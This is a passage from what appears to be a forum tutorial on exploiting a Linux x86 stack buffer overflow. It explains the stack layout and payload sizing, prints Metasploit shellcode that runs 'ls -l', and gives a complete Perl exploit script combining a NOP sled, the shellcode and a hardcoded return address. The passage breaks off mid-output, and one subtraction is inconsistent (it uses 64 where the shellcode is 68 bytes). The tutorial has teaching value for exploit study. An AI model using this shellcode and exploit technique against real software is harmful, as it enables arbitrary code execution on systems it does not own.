But that&#39;s a VERY ugly way to find out which characters overwrote the EIP.
It&#39;s time to discuss memory structure.

Memory Structure:
---------------------------------------------------------------------------------------------
      Unallocated space      buffer      EIP      Other registers
[          ][          ][      ][      ]
    unknown size      272bytes     4bytes  unknown size
---------------------------------------------------------------------------------------------

So this means that if we add 4 more bytes than the buffer can hold,
these 4 bytes will overwrite the EIP.


Now, let&#39;s get us a shellcode! (Not mine cuz it&#39;s crappy and won&#39;t work :P )

*********************************************************************************************
/*
  Shellcode taken from the metasploit project
  It executes the "ls -l" UNIX command on the vulnerable system
*/
/* linux_ia32_exec -  CMD=ls -l Size=68 Encoder=PexFnstenvSub [url]http://metasploit.com[/url] */
unsigned char scode[] =
"\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64"
"\x96\x2c\xed\x83\xeb\xfc\xe2\xf4\x0e\x9d\x74\x74\x36\xf0\x44\xc0"
"\x07\x1f\xcb\x85\x4b\xe5\x44\xed\x0c\xb9\x4e\x84\x0a\x1f\xcf\xbf"
"\x8c\x90\x2c\xed\x64\xfa\x5f\xcd\x49\xfa\x2c\xba\x37\x1f\xcd\x20"
"\xe4\x96\x2c\xed";
*********************************************************************************************


To sum up.
The buffer holds 272 bytes.
The end of the EIP register is 4 bytes away from the buffer.
Our shellcode is 68 bytes.
So, in order for our payload to reach EIP it must be at least:
---------------------------------------------------------------------------------------------
buffer size + EIP = 272 + 4 = 276 bytes
---------------------------------------------------------------------------------------------
Just enough to overwrite the EIP.

So we are looking at a 272 + 4 = 276 byte payload.

Our shellcode is only 68 bytes in size, so 276 - 64 = 208 bytes of free space.
So, what should we do with that space? Oh, yeah, that&#39;s going to be our NOP-sled!

So our payload would be like:
---------------------------------------------------------------------------------------------
    208 bytes         68 bytes    4 bytes
[      NOPS     ] [  OPCODEs  ] [  EIP  ]
---------------------------------------------------------------------------------------------

Let&#39;s start writing our exploit!

sploit.pl:
*********************************************************************************************
#!/usr/bin/perl
# linux_ia32_exec -  CMD=ls -l Size=68 Encoder=PexFnstenvSub [url]http://metasploit.com[/url]
my $shellcode =
  "\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64".
  "\x96\x2c\xed\x83\xeb\xfc\xe2\xf4\x0e\x9d\x74\x74\x36\xf0\x44\xc0".
  "\x07\x1f\xcb\x85\x4b\xe5\x44\xed\x0c\xb9\x4e\x84\x0a\x1f\xcf\xbf".
  "\x8c\x90\x2c\xed\x64\xfa\x5f\xcd\x49\xfa\x2c\xba\x37\x1f\xcd\x20".
  "\xe4\x96\x2c\xed";

my $nopsled="\x90"x208;      # construct our NOP-sled
my $ret="\xc0\xef\xff\xbf";    # that address worked for me :)
my $payload=$nopsled.$shellcode.$ret;  # construct the payload

system("./vulnerable", $payload);  # send payload to vulnerable programm

print "Done!\n";

*********************************************************************************************

I wouldn&#39;t use Perl, my first choice was to pass the payload using an env variable,
but bash kept messing up the shellcode. :(

Let&#39;s execute the shellcode and see what happens:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> perl sploit.pl
Buffer holds: +

页: [1]
© 1999-2008 EvilOctal Security Team